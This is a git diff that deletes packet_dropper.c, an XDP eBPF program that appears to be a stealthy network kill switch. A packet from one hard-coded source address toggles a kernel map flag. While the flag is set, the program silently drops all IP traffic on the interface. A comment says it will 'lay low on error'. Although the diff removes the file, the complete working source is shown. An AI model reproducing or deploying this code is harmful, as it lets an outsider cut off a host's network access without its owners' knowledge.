organizationHEADmain

1 files changed, 0 insertions, 77 deletions

diff --git a/packet_dropper.c b/packet_dropper.c
deleted file mode 100644
index d0a8d85..0000000
--- a/packet_dropper.c
+++ /dev/null
@@ -1,77 +0,0 @@
-#include <linux/bpf.h>
-#include <bpf/bpf_helpers.h>
-#include <linux/if_ether.h>
-#include <linux/in.h>
-#include <linux/if_packet.h>
-#include <linux/ip.h>
-#include <linux/tcp.h>
-
-struct {
-        __uint(type, BPF_MAP_TYPE_ARRAY);
-        __type(key, __u32);
-        __type(value, __u32);
-        __uint(max_entries, 1);
-} status SEC(".maps");
-
-SEC("xdpentry")
-int entry(struct xdp_md *ctx) {
-        // Prepare some data structures
-        __u32 *rec;
-        __u32 key = 0;
-        void *data_end = (void *)(long)ctx->data_end;
-        void *data = (void *)(long)ctx->data;
-        struct ethhdr *eth = data;
-
-        rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map
-        if (!rec) {
-                return XDP_DROP; // try to lay low on error
-        }
-        //bpf_printk("Rec: %u", *rec); // Debug prints
-        if ((*rec != 55) && (*rec != 56)) {
-                // First run check
-                // bpf_printk("Resetting rec!"); // Debug Prints
-                *rec = 56; // set default value for map
-        }
-
-        if (eth + 1 > data_end) // Bounds checking for xdp preverifier
-                return XDP_PASS; // This should never run normally
-
-        /** if(eth->h_proto != ETH_P_IP) {
-                return XDP_PASS; // don't kill layer 2 traffic
-        } **/
-
-        struct iphdr *iph = data + sizeof(struct ethhdr);
-        if (iph + 1 > data_end) // More bounds checking
-                return XDP_PASS; // This should never run either
-                                 //
-        __u32 ip_src = iph->saddr; // grab source address of packet
-        // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print
-        // Determine if we need to further process this packet
-        if (ip_src == 1946091487) {
-                // This packet had a destination of 223.255.254.115, do something!
-                // bpf_printk("Got it!, setting rec..."); // Debug print
-                switch (*rec) {
-                        case 55 :
-                                *rec = 56;
-                                break;
-                        case 56 :
-                                *rec = 55;
-                                break;
-                }
-                return XDP_DROP;
-        }
-        else if (ip_src == 0) {
-                // most likely a layer 2 packet, let it thru
-                return XDP_PASS;
-        }
-
-        // Finish processing
-        if (*rec == 55) {
-                return XDP_DROP;
-        } else {
-                return XDP_PASS;
-        }
-}
-
-
-char _license[] SEC("license")= "GPL";